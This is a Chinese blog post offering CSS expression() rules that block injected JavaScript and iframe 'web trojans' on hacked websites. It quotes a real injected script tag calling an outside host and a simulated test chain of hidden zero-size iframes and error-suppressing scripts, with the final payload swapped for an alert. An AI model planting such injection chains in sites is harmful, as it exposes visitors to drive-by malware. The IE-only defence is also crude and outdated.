位置:海鸟网 > IT > JavaScript >

三行代码解决全部网页木马

依然是挂马问题,已经是第三次变种啦!可恶!今天听报道说黑客入侵红十字会官网,修改了募捐帐号 ,这种人简直禽兽不如——发国难财。希望每个中国人都能为灾区献上一份爱心,做好自己的本职工作,并时刻准备着为灾区人民做点事情。 

  转入正题,这些日子,心情总是很沉重,不过我们得化悲痛为力量勇敢面对。有很多站长朋友联系过笔者了,他们都遭受了网页木马的破坏。一个大喊救命的网友,今晚向笔者诉苦,我就帮她看下吧。

  她告诉我说她的网站在网页的开头被加上了:

<script language=javascript src=http://www.0571e.com/fly.js></script>



  原来又是JS木马,唯一的区别就是它加在了网页的最开头。使用笔者以前的“二行代码解决全部网页木马”,也不起作用了。仔细一看才知道,不仅加入了<script>标记还有一行长长类似于空格的字符。它使得DOCTYPE(文档类型)有所改变。DOCTYPEs是一个web页面的关键组成部分,缺少它你的css定义和标记将不被承认有效。所以一般首行被挂JS木马的网页会显示不正常。如果您当前的网站编码是utf-8,有时还会出现乱码。

  今天晚上这位朋友的网页是gbk编码的,网页没有乱码,但是网页下面显示有错位。

  磨刀,杀毒:

  它不是插入在网头最上面吗?它不是第一个<script>标记吗?它不还是含有“http”吗?汗,啰嗦!简单,在笔者以前的代码基础上稍稍改动,就可以了:

  在css里加上:

  方案1:(缺点:完全不显示网页)

html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):null);}



  方案2:(隔离木马,显示网页)

html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.getElementsByTagName('IFRAME')[0].src=document.getElementsByTagName('SCRIPT')[0].src='about:blank':null);}



  原理:获取页面的第一个<script>标记,如果src含有“http”字符,则将其隔离。经过Vista+IE7模拟测试,成功!希望XP下IE6+的用户帮忙测试下,如有问题及时反馈,谢谢!

<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{antiifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{antijs:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
html,body{antijstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):null);}
/* 以后请在此关注最新网页防挂木马处理方法: */
/*]]>*/
</style>



  至此,三行代码搞定全部网页木马完工。笔者可不希望还会有四行代码出来。有朋友担心这个代码会很占资源,其实不会的,页面加载完成后,只有鼠标碰到相关元素(如果css描述的是img,则鼠标碰到这个img时),CSS才会重复渲染一次。

  防止木马破坏访客的代码笔者是写出来啦,关键是各位网站的站长要与网站服务器的网管多多沟通,搞好虚拟主机的安全工作。这类问题大都是服务器或其所在的局域网中了病毒,遭遇了ARP、DNS等欺骗所致。及时打好服务器系统补丁,安装必要的防火墙(如ARP防火墙)很有重要。

  也许,这场战役还没有停止,我们将与它斗争到底!勇敢面对!

  以下是测试的文件(全仿真模拟):

default.html(这是网站首页),假如被挂马,如:

<script language=javascript src=http://www.***.cn/mm.js></script>                                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
<html xmlns="">
<head>
……网页具体代码略过……



mm.js(这是木马的JS文件):

document.write("<iframe width='0' height='0' src='***.cn/mm1.htm'></iframe>");



mm1.htm(这是js木马引用的iframe页面,汗,还有统计呢!):

<script language="javascript" type="text/javascript" src=""</script>
<iframe src=http://www.nihaoku.cn/mm2.htm width=0 height=0></iframe>



mm2.htm(这是被mm1.htm引用的iframe页面):

<script>
    window.onerror=function(){return true;}
    window.status="完成";
</script>
<script>
/*dddddddddddddd*/
/*这里就是木马执行的代码了,我把它们删除了,换成一个弹出警告框的代码,测试如果有警告弹出,则木马起作用了,反之成功了*/
alert('木马起作用了!');
</script>